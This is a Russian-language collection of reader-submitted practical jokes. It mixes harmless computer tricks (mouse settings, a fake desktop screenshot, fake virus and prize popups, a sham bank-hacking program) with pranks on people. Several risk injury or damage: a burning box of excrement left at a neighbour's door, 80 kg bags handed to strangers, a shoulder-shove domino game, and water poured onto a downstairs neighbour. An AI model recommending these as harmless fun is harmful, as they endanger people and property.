Довольно простой прикол, дающий тем не менее замечательные результаты. Весь его смысл зафиксировать шарик мыши изнутри. Сделать это можно с помощью скотча прикрепив шарик к прижимному кольцу. Итак, готовтесь к крикам типа: "Мышка глючит". Перевернув ее ничего подозрительного не заметишь:)

Коллеге или товарищу ,слабо разбирающемуся в компьютерах, рассказываете об электронной почте. Внезапно вспоминаете, что вам как раз должны были прислать по почте 100 рублей..... и достаете бумажку в 100 руб из дисковода 3.5' или CD ROMa (не забыв ее туда предварительно положить :-) )

На пейджер(можно и компьютер) присылается сообщение: "Теперь я тамагочи, покорми меня".

Приходишь в какую-то компьютерную контору, говоришь, так и так, хочу у вас работать, тебя спрашивают, умеешь ли ты ремонтировать лазерные принтеры, и вот тут надо поднести к уху мобильник, и, набрав какой-нибудь номер громко сказать:
- Танк, загрузи в меня программу ремонта лазерных принтеров.
Потом секунд 5 моргать глазами и произнести:
- Да, я умею ремонтировать лазерные принтеры!
Эффект будет потрясающий!

В Виндовсе в Панели Управления выбрать Мышь и поставить максимальную скорость двойного нажатия, при этом у 80% двойное нажатие не будет получаться, а т.к. об изменении параметров "жертва" не знала, она подумает, что левая кнопка мыши сломалась. Там же выставьте максимальную скорость передвижения мыши. Весьма забавно, а главное, скорее всего, возвращать прежнее значение придется с клавиатуры, а это не так просто.

Нужна жертва с компьютером , на котором есть MustDie 95/98 и IE c Active Desctop. Любой грабилкой экрана снять изображение рабочего стола, панели управления, в общем, всего экрана. Создать файл joke.htm следующего содержания:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<title> Нормальная страница без названия</title>
</head>
<body bgcolor="#000080">
<p>> <img src="file:///D:/fon.gif"alt="рабочий стол не работает - обратитесь в службу поддержки Microsoft" width="1024" height="768"> </p>
</body>
</html>
Где d:\fon.gif - расположение картинки-экрана. В настройках экрана выбираете в качестве фона файл joke.htm и включаете опцию "Скрывать значки , если рабочий стол представлен как страница WEB". Вдобавок можно в скриншоте экрана написать на панели управления , что она не работает , стереть кнопку "Пуск" и, главное не забыть задвинуть вниз "Панель инструментов". Наслаждайтесь.

Хочу поделиться одним компьютерным розыгрышем, который был исполнен у нас на работе. Он основан на неистребимом желании людей получить побольше денег на халяву. Надо, чтобы компьютер жертвы был подключен к Internet. Пишем прогу со стандартным окошком Windows, и ставим время показа этого окошка так, чтобы жертва наверняка оказалась за компьютером. Ну так вот, представьте себе, сидит человек, спокойно себе работает, и вдруг ни с того, ни с сего у него на экране вылазит окошко с примерно таким содержанием: "Поздравляем! Вы только что выиграли $1,000,000 от корпорации Microsoft! Ваше имя было выбрано нашим компьютером случайным образом из более чем миллиона пользователей продукции компании Microsoft. О подробностях получения приза смотрите на www.microsoft.com/prize" (все это, естественно, по-английски). У человека разгораются глаза, теперь надо нажать кнопку..., а их две: IGNORE и CANCEL ! :)) Жертва прямо-таки ошарашена: такие бабки плывут в руки и... как их взять-то?!!

Шутка проделывается над злобным юзером, который строит из себя компьютерного гения. Для этого я пишу программульку (Visual Basic - forever) и толпой заваливаем к таковому юзеру, и с честным видом предлагаем просмотреть программу (она абсолютно чистая, без вирусов). Перед пользователем, запустившим эту программу, появляются десять картинок с симпатичными девушками (одетыми) и задается вопрос: не хочет ли он увидеть их без одежды (есть возможность ответить только "да"). После чего ему предлагается нажать и удерживать 10 клавиш на клавиатуре. Удерживая их, он читает всплывшее сообщение: "Как только одна из десяти клавиш будет отпущена, в машине активизируется вирус, который немедленно выведет из строя винт (даже форматирование не поможет)". А вся толпа тем временем перемещается в соседнюю комнату, включает на всю катушку музыку, воду или другой источник шума и записывает на видео попытки товарища выключить системный блок при помощи носа, ног и других выступающих частей тела..."

Берется компьютер - 1 шт. и программа распознавания речи, типа Dragon Dictate. Кто ковырялся в этой программке, знает - в ответ на распознанный набор звуков (слово или фразу) она выполняет определенную команду или набор команд. Обычно это команда типа Sendkeys 'набор символов', которая посылает в буфер клавиатуры заранее, но нас в данный момент интересует команда для воспроизведения в ответ звукового файла PlaySound 'wavfilename.wav', с помощью которой можно научить программу в ответ на сказанную Вами фразу выдать свою, заранее записанную через микрофон и сохраненную на диске.
Теперь, когда Вы ознакомились с технической стороной розыгрыша, необходимо научить программу понимать штук 15 стандартных фраз, используемых при обычном разговоре двух давно знакомых людей и записать через микрофон соответствующие им стандартные ответы. Например, "привет - здравствуй", "как дела - нормально", "че делаешь - да ниче, так", "пить будешь - нет, голова болит после вчерашнего" и т.п. Также важно научить ее защищаться от оскорблений, например, "дурак - сам дурак", "иди ты ... - сам туда иди", а также запускать некоторые необходимые программы: "поставь какую-нибудь музычку - пожалста (+ запуск WinAmp)", "давай во что-нибудь поиграем - ну давай (+ запуск MineSweeper)". Ответы лучше записывать с немножко усталой, ленивой интонацией (типа как ты меня уже достал своими запросами) и после записи обработать в каком-нибудь редакторе, чтобы сделать свой голос неузнаваемым (во многих редакторах есть хороший фильтр Mechanize, который делает голос таким, как у роботов из старых фантастических фильмов).
Теперь, когда к Вам в гости придет какой-нибудь знакомый чайник, Вы сможете продемонстрировать ему созданный Вами "искусственный интеллект" путем обмена несколькими фразами со своим компьютером. Эффект будет просто потрясающим, поверьте мне. На Ваших глазах в один миг рухнут все представления вашего товарища о компьютерах. Если вдруг компьютер подведет и не поймет какую-то Вашу фразу (такое случается довольно часто), можно, не стесняясь, обозвать его каким-нибудь нехорошим словом и незамедлительно получить соответствующий ответ (это произведет еще большее впечатление). Если объект Вашего розыгрыша сам попытается поговорить с Вашим компьютером (компьютер его, естественно же, не поймет) - объясните ему, что вы ему дали указание не откликаться на чужой голос. Короче, прикалывайтесь на здоровье.

Розыгрыш предназначен прежде всего для программистов. Это еще один способ как разыграть (с пользой) преподавателя. Сам в свое время получил таким образом зачет. Дело простое. Подходишь к преподу и уверенно говоришь, что разработал программу, которая распознает цвет дискеты. Естественно, препод начинает с пеной у рта доказывать, что так не бывает. Тут нужно поспорить на "зачет" (или, чем черт не шутит, на "5" на экзамене). Рядом с компьютером, у которого будет происходить демонстрация программы, нужно положить любую мышь, а рабочую куда-нибудь спрятать (так, чтобы ей можно было пользоваться за спиной у ошарашенного преподавателя). И вот час триумфа - преподаватель засовывает черную дискету и нажимает Enter. Компьютер, покрутив дисководом, пишет "черная", на белую пишет "белая" и так все время, без ошибки . А все дело в том, чтобы написать обыкновенную программу, реагирующую на нажатие кнопок мышки, например, нажал левую - пишет на экране "черная", нажал правую - пишет "белая". А самый прикол - когда преподаватель начнет мухлевать и попробует вставить дискету, скажем, красного цвета (в моем случае преподаватель сделал именно так). Это можно предусмотреть, например, фразой типа "черт его знает. По-моему красная". А запрограммировать можно просто на последовательность нажатий кнопок мышки или на двойной щелчок.

Предлагается к рассмотрению такая шутка. Сотруднику, компьютер которого неподалеку, в его Ворде в графе автозамена делаем примерно следующее. Слово "кто-то" или какое-то другое, встречающееся не так чтобы часто, но все-таки регулярно, заменяется на словосочетание, например, "какая-то херня". Эффект потрясающий, причем разброс последствий большой - от просто недоумения и смеха до разноса и смеха сквозь слезы."

Для этого трюка нужно немножко подготовиться. Берем обыкновенный магнитофон и небольшой динамик (подойдет спикер от компьютера) Дальше записываем на магнитофон (можно вместо магнитофона использовать компьютер с звуковой картой - так будет даже проще) какую-нибудь чепуху вроде криков, стонов, плача - все что угодно. Дальше любым проводом удлиняем динамик и прячем его , ну скажем, за диваном. Выставляем таймер так, чтобы он сработал где-то через минуту после визита девушки. Когда она придет, усадите ее на диван и под благовидным предлогом отлучитесь. Ну, а теперь можно притаиться за дверью и в щелочку наслаждаться ...

Расскажу об одной шутке, которую я проделал над свом шефом. Дело в том, что помещение, где мы работаем, небольшое и столы стоят вплотную. А мой стол расположен прямо напротив стола начальника нашего отдела буквально впритык. Компы у нас лежачие и лежат на столах, можно сказать попами друг к дружке. Ну и вот притащил я на работу из дома мышь для COM-порта, а на работе у нас все мыши для PS/2. Дождался пока на работе никого не осталось и установил шефу на комп вторую мышь. Если кто еще не понял, то поясняю, что две мыши в системе - это не означает два мышиных курсора в системе. Положил ее себе на стол и закрыл всяческими бумагами. На следующий день все и началось. Где-то перед обедом, когда рабочее напряжение немного спало и появилось настроение пошалить, я снимаю бумаги со второй его мышки и закрываю ими свою. И начинаю этой мышкой тихонько двигать. Шеф часто заморгал глазами, видимо курсор пошел зигзагом. Я тем временем мышь не трогаю, шеф проморгался и решил, что почудилось. Минуты через две он снова хватается за свою мышь, ну и я тоже. Он передвигает курсор вверх, после чего я двигаю его вниз. Результат ошеломляющий: курсор взял, да и упал вниз экрана. Шеф, конечно, удивился, но справился с чувствами и продолжил начатое перемещение курсора туда, куда ему надо, но не тут-то было. Курсор доехал до середины десктопа, а дальше не смог. И это правильно, потому что я его тяну в обратную сторону. Еще одна попытка! Барьер сломлен (это я мышь отпустил). Шеф просто растерян и подзывает меня: "Глянь, - говорит, - как мышь глючит." Я подхожу и не замечаю ничего особенного, (мышь-то на столе осталась)."Ну, - говорю, - наверное, процессор перегружен. Бывает." Сажусь за свое место. Но через небольшие интервалы времени курсор мыши проявляет недюжинный интеллект. Подошел другой сотрудник. "Вот. Вот. Щас будет," - говорит ему шеф. Эта мышиная возня продолжалась бы, наверное, еще долго, но тут уж я не выдержал, упал мордой на стол и затрясся от смеха. Но шеф у меня с чувством юмора, посмеялся вместе со всеми и меня простил. Ну в самом деле, не винт же я ему отформатировал.:)

Хочу поделиться следующим розыгрышем, известным в кругу моих друзей под названием "Держи коня!". Действующие лица: "жертва" - человек, уснувший после бурного веселья или просто "свалившийся" от усталости, а еще лучше, если он имеет склонность часто разговаривать во сне и вообще всячески "лунатит", 1-2 разыгрывающих и сколь угодно зрителей. Картина следующая: к забывшемуся глубоким и, возможно, беспокойным сном агнцу подбираются коварные злоумышленники. В руках одного из них обязательно наличие какого-либо ремня, пояса, веревки, полотенца или чего-нибудь похожего на поводья. Разбудить спящего необходимо сразу, одним резким толчком или криком типа "Вставай!", и пока он мало что соображает, сунуть ему "поводья" и голосом комиссара времен Великой Октябрьской приказать: "Держи коня!". Опыт показывает, что примерно 80% из числа "жертв" цепляются за "поводья" мертвой хваткой секунды на три, пока не приходят в себя, при этом выражение лица - самое живописное.

Старый, добрый розыгрыш. Примечателен тем, что при всей своей простоте ОЧЕНЬ часто удается:
В разгар какой-нибудь беседы надо ввернуть такой вопрос: "Кстати, а ты знаешь, как расшифровывается аббревиатура "ДУНЯ"?" После естественного ответа "Нет. А как?" отвечаешь: "Дураков У нас Нет". После чего твой собеседник в 90% случаев на автомате произносит: "А Я?"... После секундного замешательства и следующего за ним взрыва хохота всех прочих слушателей можно уже и прокомментировать: "Ну..., если только ты...

Для розыгрыша требуется большая квадратная (желательно, кубическая) коробка. На одной из граней большими яркими красивыми буквами требуется написать что-то типа: "Пожертвуйте денег в фонд пострадавших в войне 1812 года". Сверху коробки требуется проделать прорезь, чтобы кидали туда денежки (иногда кидают). Далее берется эта коробочка надписью к себе (чтобы, идя по улице, ее никто не видел) и прорезью вверх. Выбирается какой-нибудь магазин или людное учреждение (место розыгрыша). Подойдя к входной (выходной) двери, Вы замечаете, что в дверь коробочка не пролезает. Тогда и выбирается жертва, которой Вы под предлогом быстрого посещения магазина передаете коробку. В результате этого надпись на коробке станет видимой окружающим, но не видимой для жертвы. Вы тем временем уходите в магазин. Иногда, жертва сама того не подозревая, предлагает подержать коробку. Различные варианты надписей дают различные эффекты.

Какие только издевательства не производятся над первокурсниками во время посвящения в студенты! Среди всего прочего на моей памяти (и при моем участии) творилось следующее. Во время посвящения полагается каждому студенту поднести чашу с напитком. Обычно подносят что-нибудь крепко смешанное на основе перца, уксуса, горчицы и прочих малоприятных в большом количестве вещей. Мы решили отойти от стандарта. На глазах публики в большую кастрюлю наливалась крепкая дымящаяся кислота, сыпались самые разнообразные химикаты, туда же отправились белая мышь и лягушка (живые!), какие-то части анатомических препаратов и т.д. Затем ведущий зачерпывает половником получившуюся жижу, удовлетворенно обнюхивает и подносит старосте курса. Бедная девушка, едва не грохаясь в обморок, пищит: "Не буду!" Ведущий шепотом в ответ рычит: "Пей, дура!", - и та, зажмурившись, делает глоток. Реакция публики была более, чем шоковая. Секрет прост: в большой кастрюле стояла куча маленьких посудин. Каждое вещество (или существо) попадало в свой отсек, а потом ведущий зачерпывал лимонад и нес посвящаемому. Просто, но эффект убийственный, поверьте.

В офисе двери в мужской и женский туалеты расположены на некотором расстоянии друг от друга. На дверь в мужской наклеивается лист формата А4 с крупной надписью "муЖской", с максимально крупной буквой "Ж" посредине, а на женский - "мадаМский" (буква М большая). Издалека видны только эти крупные буквы: М на женском, Ж - на мужском... Посторонний человек, ориентируясь на видимые издалека буквы, идет "не к своей" двери, и только в последний момент (в лучшем случае!) прочитывает все слово.

Замечательный и интересный автомобильный прикол. Работает безотказно, пробовал практически на всех своих знакомых. Берется два одинаковых брелка от авто-сигнализации (они обычно в комплекте идут). Один кладется в карман. Дальше объявляется всем, что у тебя сигнализация - особая новая разработка - реагирует на речь, причем с встроеным интеллектуальным распознавателем :) На глазах у изумленной публики ты серьезно командуешь брелку: "Поставить на сигнализацию". Машина реагирует и пищит один раз. Потом ты командуешь: "Снять с сигнализации". И, о чудо, машина опять реагирует. Дальше ты предлагаешь любому желающему поэксперементировать, причем команды могут быть самые разные. Понятно, что ты в это время сам незаметно нажимаешь на нужные кнопки второй сигнализации - той, что в кармане. Один мой хороший знакомый (владелец СТО) даже разобрал брелок и удивлялся , что эти капиталисты научились делать. До сих пор так и не понял...

Желателен длинный коридор или комната (все зависит от количества участников действа) и умеренное состояние подпития, однозначно не последняя стадия, т.к. эффект будет смазан. Главное, чтобы хотя бы один человек в компании играл в эту игру первый раз, остальные могут уже все знать, им все равно будет весело. Так вот, все выстраиваются в одну шеренгу, плечом к плечу (новичок последний), "ведущий" - первый. Далее все по очереди, вытягивая вперед руку со словами: "Вижу мишку!!!" - садятся на корточки, т.е. сел ведущий, затем человек рядом с ним и т.д. до последнего. Когда сел последний, "ведущий" со всей силы толкает всю эту неустойчивую конструкцию (толкать нужно не руками, а плечом, как бы заваливаясь на бок, но достаточно сильно). Получается эффект домино. Главное - не убить последнего, т.к. при соответствующей сноровке "ведущего" последние 2-3 человека отлетают очень даже далеко. Восторг неописуемый! Небольшие рекомендации для "ведущего". Главное - всем объяснить что и когда делать, чтобы люди не сели все одновременно, только по очереди (при одновременном усаживании часты сбои в виде падающих раньше времени участников). Ставить людей нужно плотно, а самому немного (20-30 см) отодвинуться от рядом стоящего, чтобы было место для "маневра". И последнее, из личного опыта, идеальное количество играющих от 7 до 10.

Розыгрыш, который проделала со мной моя жена. Она позвонила на пейджер и попросила оператору передать через полчаса сообщение типа: "Любимый, я по тебе очень соскучилась. Позвони мне". А когда через полчаса я получаю сообщение, она таким ангельским голосочком спрашивает: "Дорогой, кто это?" И я, обливаясь потом и краснея, пытался объяснить, что-то типа это - не я и пейджер не мой :) В общем напереживался ...

Для этого розыгрыша требуется коробок спичек и, желательно, слабонервная жертва. Жертве нужно сообщить (или даже поспорить на что-нибудь), что с помощью коробка спичек можно выработать электричество, то есть искру сделать. Затем нужно вынуть из коробка три спички и воткнуть их в закрытый коробок между самой коробочкой и сдвигающейся частью параллельно друг другу так, чтобы головки спичек были на примерно одинаковом расстоянии, при этом эти приготовления надо делать как можно тщательнее и медленнее(на нервы действует). Теперь нужно взять коробок одной рукой так, чтобы спички торчали в сторону жертвы, а другой рукой как-нибудь тереть коробок, но и чтобы было непонятно что именно ты делаешь (тоже на нервы действует). Затем надо попросить жертву ОЧЕНЬ МЕДЛЕННО соединить головки двух соседних спичек (наклонить их друг к другу). Конечно, ничего не произойдет. Теперь нужно попросить жертву нагнуть третью спичку к двум остальным, чтобы все три головки соединились, конечно, тоже ОЧЕНЬ МЕДЛЕННО. Здесь жертва уже должна быть на грани нервного срыва. Как только все три головки соединятся, резко и громко кричите: "БА-БАХ!!!". Здесь главное, чтобы жертва с перепугу не двинула вам табуреткой по голове... Вся процедура проверялась неоднократно на разных людях. Действует безотказно.

На вечеринке договоритесь с хозяином квартиры и заранее снимите унитаз на видео, встав на стул и подняв камеру повыше. Ну, вроде, как скрытой камерой. Важно, чтобы изображение не тряслось. Когда во время вечеринки кто-нибудь выйдет в туалет, быстро инструктируете компанию и включаете запись. Вернувшись, жертва увидит на экране телевизора изображение туалета, где только что побывала, а вся компания покатывается со смеха. Естественно, первой мыслью жертвы будет, что "все все видели"...

Берется кнопка, к ней привязывается леска, и это нехитрое приспособление прикалывается к окну жертвы, но со стороны улицы (желательно, чтобы жертва жила на первом этаже).Потом берется леска и натягивается (желательно, чтобы леска была длинная), беретесь за нее 2 мокрыми пальцами и медленно скребете вверх и вниз.У жертвы дома кажется, что сейчас вылетит рама. Я долго смеялся, когда я так сделал другу. Вы бы только увидели его лицо.

Вывешиваем из окна БОЛЬШОЙ лист целлофана (продается в хоз.магазинах). Лист должен быть настолько длинным, что должен перекрывать окно этажом ниже. Внизу, это конечно, не нравится, и оттуда раздаются требования убрать целлофан. В ответ высказываете что-нибудь обидно-игнорирующее. Естественная реакция обиженного - потянуть за конец целлофана с целью сорвать "это безобразие". И вот когда нижний конец целлофана окажется втянутым в помещение, вы выливаете по целлофановому "желобу" ведро воды...

Хочу поделиться розыгрышем, который лучше проводить в немного подвыпившей компании. Жертва должна обладать хотя бы зачатками чувства юмора, иначе может смертельно обидеться. Выберите удачный момент и предложите жертве пройти тест на координацию ( трезвость, ловкость и т.п. ) Суть заключается в следующем: нужно поднять коробок спичек, используя для этого две спички. Держа их за головки двумя пальцами каждую, упереть их с разных сторон в центр коробка и таким образом поднять его. После нескольких попыток это обычно удается. Далее предлагаете усложнить задачу. В момент, когда коробок уже поднят жертвой и удерживается ею на вытянутых руках, предложите несколько раз топнуть ногой. Если коробок в этот момент падает, то можно повторить попытку. Очень быстро жертва "наловчится" и будет с довольным лицом топать ногой по полу, и держать двумя спичками перед собой коробок. Лицо обычно бывает очень глупое и счастливое, особенно если предварительно поспорить, что жертве это никогда не удастся. Вот здесь и наступает апофеоз. Вы поворачиваетесь лицом к зрителям ( чем их больше, тем лучше ) и голосом конферансье объявляете: "Вот так в дурдоме мотоцикл заводят". Взрыв хохота. Занавес.

Такой веселый школьный прикол.
Вобщем рядом стояли два системника - работающий и не работающий.
Как то детишки их поменяли, и подозвали препода.
"Мы, - говорят, - такую программку сделали, что она кнопку Reset блокирует."
Препод не верит тычет Reset...Ни фига.
"А вы знаете, - продолжают дети, - мы такую программку сделали, что она кнопочку Power блокирует".
Препод не верит тычет Power...Ни фига.
"А самое главное, мы такую программку сделали, которая выход из сети блокирует!"
Препод не верит... Вырубае комп из сети... НИ ФИГА! Комп то РАБОТАЕТ!
30 минут потребовалось преподу, что додуматься...

Свидетелем этого розыгрыша я стал на одной из студенческих вечеринок. Мой приятель Дима как всегда перекушал водовки и прилег в соседней комнате на диван в надежде немного поспать. Его-то и разыгрывали. Одна из девушек стала сексопильно шептать на ушко спящему Диме всякий бред типа: "Милый мой, Димочка, подвинься... Как же я хочу тебя... О!!! Какой ты горячий..." и т.д. В это время рядом с Димой прилег парень и начал нежно водить по Диминому телу руками, (и Дима, и парень были одетыми, так что все выглядело вполне целомудренно). В это время остальные участники вечеринки наблюдали за картиной совращения спящего Димы, давясь от смеха. Сексопильные стоны девушки и умелые ласки парня наконец-то разбудили Диму. Он все услышал и осознал. Желая узнать, что же это за обладательница такого роскошного голоса собирается его поиметь, Дима заворочался (девушка сразу же замолчала) и попытался открыть глаза. Когда ему это почти удалось, парень, обнимавший Диму, жутким громовым басом поинтересовался: "Ну что, давай поцелуемся, что ли ?"

Для того, чтобы воплотить в жизнь этот прикол, необходимо написать программку на любом из языков программирования. Суть ее должна заключаться в следующем: эмуляция взлома банковской системы с целью получения денежек. То, как эффектно будет выглядеть программа, зависит только от вашей фантазии. Когда у вас дома будет какая-нибудь party, и ваши друзья уже будут под хмельком, похвалитесь им, что вы можете взломать банковскую систему и украсть деньги. Пригласите их к компу и дальше выполните свою программулю. Реакция народа просто фантастична. Когда на экране появится крупненькая сумма и уведомление о переводе ее на ваш счет, смотрите на лица своих друзей! Это просто супер! Для пущего эффекта можно крикнуть: "Мы теперь сказочно богаты!!!" В общем, полчаса здорового смеха вам гарантировано. Единственное условие: чем меньше ваши друзья понимают в компутерах, тем лучше. Тех из них, кто вас может раскусить, можно посвятить в курс дела.

Привет! Это не совсем розыгрыш, скорей похоже на какой-то тест. Мы проводили это во времена существования пионерской организации и, соответственно, пионерских комнат. У нас это было место всеобщей тусовки (вожатый был свой парень), куда постоянно на переменах вваливался народ с самыми различными целями. Хохма в следующем: на стол кладем лист бумаги (лучше побольше), в самый центр ПРИКЛЕИВАЕМ обычным канцелярским клеем какую-нибудь склянку (между прочим, этот самый клей неплохо с заданием справляется) - в нашем случае это была баночка из-под витаминок. Для пущего эффекта можно разместить (уже БЕЗ клея) на том же листе бумаги кучку канц. кнопок без коробочки, стакан с водой и др. вещи. Теперь самое главное - возле приклеенной склянки красным фломастером как можно более устрашающим почерком с кучей восклицательных знаков пишем: "ВНИМАНИЕ!!! ПУЗЫРЕК РУКАМИ НЕ ТРОГАТЬ !!!!!!!!" Далее садимся рядом и наблюдаем. Даю голову на отсечение - КАЖДЫЙ, кто входит в комнату, сначала внимательно читает воззвание, затем ненадолго задумывается и... приподнимает пузырек! А поскольку тот намертво приклеен, поднимается и бумага, с которой сыпется и опрокидывается все, что мы туда поставили и разложили :)

Находят подходящее место для проведения данного издевательства, это может быть остановка троллейбуса (на ее примере буду рассматривать последовательность действий) или автобуса, пешеходный переход, вокзал или еще что-нибудь. Значится так... На остановке ставится хрупкая, приятного вида девушка с двумя среднего вида сумками. Когда подходит троллейбус, девушка с невинным видом просит какого-либо молодого человека помочь ей внести сумки в транспорт. Никакой дурак не откажется помочь красавице-девушке, поэтому с видом героя, напыщенным таким, он хватается за ручки..., а в сумки нагрузите что-нибудь такое, чтобы каждая весила килограмм по 80, не меньше... Наблюдайте результат: со стороны смотрится классно, но главное сам сюжет. Можете заснять на камеру (только чтобы оператора не видели). На пешеходном переходе можно поставить бабушку, которая просит помочь перенести сумки через дорогу.

Таким приколом мы забавлялись в детстве.
1. Находили пустую коробку из под торта и дружно всей компанией (человек 10-12) справляли в нее БОЛЬШУЮ нужду.
2. закрывали крышкой и ставили на коврик у входной двери какого-нибудь злобного соседа.
3. поджигали верхнюю крышку и звонили в дверь (убегать сразу!)
4. Хозяин (хозяйка) открыв входную дверь и увидев что-то горящее сразу (98%) начинают ее тушить - естественно ногами, а так как верхняя крышка уже прогорела - то .....результат на ногах.
Удачи!